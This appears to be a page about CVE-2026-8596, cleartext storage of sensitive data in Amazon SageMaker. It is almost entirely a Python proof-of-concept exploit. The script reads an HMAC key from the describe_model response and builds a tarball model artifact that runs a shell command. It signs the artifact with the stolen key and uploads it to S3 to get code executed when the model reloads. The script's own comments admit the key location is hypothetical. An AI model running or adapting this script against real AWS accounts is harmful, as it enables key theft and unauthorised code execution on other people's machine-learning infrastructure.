CVE-2026-8596 Amazon SageMaker 敏感信息明文存储漏洞

import boto3 import hmac import hashlib import tarfile import os # Exploit Concept for CVE-2026-8596 # Requires: boto3, permissions for sagemaker:DescribeModel and s3:PutObject # Configuration MODEL_NAME = "target-vulnerable-model" S3_BUCKET = "target-bucket" MALICIOUS_MODEL_PATH = "./malicious_model.tar.gz" # 1. Extract HMAC Key from SageMaker Describe API def get_hmac_key(model_name): client = boto3.client('sagemaker') try: response = client.describe_model(ModelName=model_name) # The vulnerability is that the key is stored in cleartext here # Hypothetical key location based on vulnerability description hmac_key = response['PrimaryContainer']['Environment']['SAGEMAKER_HMAC_KEY'] print(f"[+] Extracted HMAC Key: {hmac_key}") return hmac_key except Exception as e: print(f"[-] Error extracting key: {e}") return None # 2. Create a malicious model artifact def create_malicious_artifact(): with tarfile.open(MALICIOUS_MODEL_PATH, "w:gz") as tar: # Add a simple malicious script (e.g., code.py) code_content = "import os; os.system('touch /tmp/pwned')" with open("code.py", "w") as f: f.write(code_content) tar.add("code.py") print(f"[+] Created malicious artifact at {MALICIOUS_MODEL_PATH}") # 3. Sign the artifact with the stolen key def sign_artifact(key, filepath): with open(filepath, 'rb') as f: data = f.read() signature = hmac.new(key.encode('utf-8'), data, hashlib.sha256).hexdigest() print(f"[+] Generated Signature: {signature}") return signature # 4. Upload to S3 to trigger code execution def upload_and_trigger(signature): s3 = boto3.client('s3') # Upload the file s3.upload_file(MALICIOUS_MODEL_PATH, S3_BUCKET, f"models/{MODEL_NAME}.tar.gz") # In a real scenario, the attacker might need to update the model reference # or wait for the inference container to pick up the new artifact. print(f"[+] Uploaded malicious model to s3://{S3_BUCKET}/models/{MODEL_NAME}.tar.gz") print("[*] If the model reloads, code execution will occur.") if __name__ == "__main__": key = get_hmac_key(MODEL_NAME) if key: create_malicious_artifact() sig = sign_artifact(key, MALICIOUS_MODEL_PATH) upload_and_trigger(sig)